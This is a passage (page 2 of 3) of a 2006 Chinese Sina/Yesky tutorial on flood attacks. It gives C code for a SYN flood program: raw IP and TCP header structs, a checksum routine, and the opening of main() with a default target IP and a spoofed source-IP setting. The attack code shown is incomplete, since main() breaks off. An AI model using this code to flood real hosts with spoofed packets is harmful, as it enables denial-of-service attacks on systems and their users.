科技时代新浪首页 > 科技时代 > 学园 > 正文

洪水攻击原理及代码实现全攻略(附源代码)(2)


http://www.sina.com.cn 2006年11月16日 16:03 天极yesky

  三、 洪水攻击的实现

  在上一部分我们讨论了洪水攻击原理,在这一部分我将给出一个完成的实例说明如何使用C语言来设计洪水攻击程序。

  由于ICMP报文是用IP协议发送的,因此,我们需要自己定义IP数据包的数据结构,这样我们就可以任意修改IP数据包的内容了。下面是IP协议的数据结构。

typedef struct _iphdr //定义IP首部
{
 unsigned char h_verlen; //4位首部长度,4位IP版本号
 unsigned char tos; //8位服务类型TOS
 unsigned short total_len; //16位总长度(字节)
 unsigned short ident; //16位标识
 unsigned short frag_and_flags; //3位标志位
 unsigned char ttl; //8位生存时间 TTL
 unsigned char proto; //8位协议 (TCP, UDP 或其他)
 unsigned short checksum; //16位IP首部校验和
 unsigned int sourceIP; //32位源IP地址
 unsigned int destIP; //32位目的IP地址
} IP_HEADER;

  这个结构比较复杂,我们只看其中3个,其余的成员可以参考《TCP/IP详解 卷1:协议》的相关部分。最后两个成员sourceIP和destIP就是上述所说的A和B的IP。而最重要的就是checksum,这个参数是一个验证码,用于验证发送的IP数据包的正确性,我们把这个验证码称为校验和。计算它的函数如下:

USHORT checksum(USHORT *buffer, int size)
{
 unsigned long cksum=0;
 while(size >1)
 {
  cksum+=*buffer++;
  size -=sizeof(USHORT);
 }
 if(size )
 {
  cksum += *(UCHAR*)buffer;
 }
 cksum = (cksum >> 16) + (cksum & 0xffff);
 cksum += (cksum >>16);
 return (USHORT)(~cksum);
}

  看了上面的代码也许会有很多疑问,下面我就简单描述一下如何计算机IP数据包的校验和。IP数据包的校验和是根据IP首部计算机出来的,而并不对IP数据包中的数据部分进行计算。为了计算一个数作为校验和,首先把校验和字段赋为0。然后,对首部中每个16位进行二进制白马反码求和(我们可以将整个IP首部看成是由一组16位的字组成),将结果保存在校验和字段中。当收到一份IP数据报后,同样对首部中每个16位进行二进制反码的求和。由于接收方在计算机过程中包含了发送方存在首部的校验和,因此,如果首部在传输过程中没有发生任何差错,那么接收方计算的结果应该全是1.如果结果不全是1(即校验和错误),那么IP就丢弃收到的数据报。但不生成差错报文,由上层(如TCP协议)去发现丢失的数据报并进行重传。

  由于我们要发送假的TCP连接包,因此,为分别定义一个伪TCP首部和真正的TCP首部。

struct //定义TCP伪首部
{
 unsigned long saddr; //源地址
 unsigned long daddr; //目的地址
 char mbz;
 char ptcl; //协议类型
 unsigned short tcpl; //TCP长度
} psd_header;

typedef struct _tcphdr //定义TCP首部
{
 USHORT th_sport; //16位源端口
 USHORT th_dport; //16位目的端口
 unsigned int th_seq; //32位序列号
 unsigned int th_ack; //32位确认号
 unsigned char th_lenres;//4位首部长度/6位保留字
 unsigned char th_flag;//6位标志位
 USHORT th_win; //16位窗口大小
 USHORT th_sum; //16位校验和
 USHORT th_urp; //16位紧急数据偏移量
} TCP_HEADER;

  在以上的准备工作都完成后,就可以写main函数中的内容了。下面是程序的定义部分。

#include <winsock2.h>
#include <Ws2tcpip.h>
#include <stdio.h>
#include <stdlib.h>
#define SEQ 0x28376839
#define SYN_DEST_IP "127.0.0.1"//被攻击的默认IP
#define FAKE_IP "10.168.150.1" //伪装IP的起始值,可以是任意IP
#define STATUS_FAILED 0xFFFF//错误返回值
int main(int argc, char **argv)
{
 int datasize,ErrorCode,counter,flag,FakeIpNet,FakeIpHost;
 int TimeOut=2000,SendSEQ=0;
 char SendBuf[128]; // 每个数据包是128个字节
 char DestIP[16]; // 要攻击的机器IP,在这里就是B的IP
 memset(DestIP, 0, 4);
 // 如果通过参数输入个IP,将DestIP赋为这IP,否则SYN_DEST_IP赋给DestIP
 if(argc < 2)
  strcpy(DestIP, SYN_DEST_IP);
 else
  strcpy(DestIP, argv[1]);
  // 以下是声明Socket变量和相应的数据结构
 WSADATA wsaData;
 SOCKET SockRaw=(SOCKET)NULL;
 struct sockaddr_in DestAddr;
 IP_HEADER ip_header;
 TCP_HEADER tcp_header;
 … …
}

[上一页] [1] [2] [3] [下一页]

本文导航:
·什么是洪水攻击
·洪水攻击的实现
·初始化Raw Socket

发表评论 _COUNT_条

爱问(iAsk.com)



评论】【论坛】【收藏此页】【 】【多种方式看新闻】【下载点点通】【打印】【关闭




科技时代意见反馈留言板 电话:010-82628888-5595   欢迎批评指正

新浪简介 | About Sina | 广告服务 | 联系我们 | 招聘信息 | 网站律师 | SINA English | 会员注册 | 产品答疑

Copyright © 1996 - 2006 SINA Inc. All Rights Reserved

新浪公司 版权所有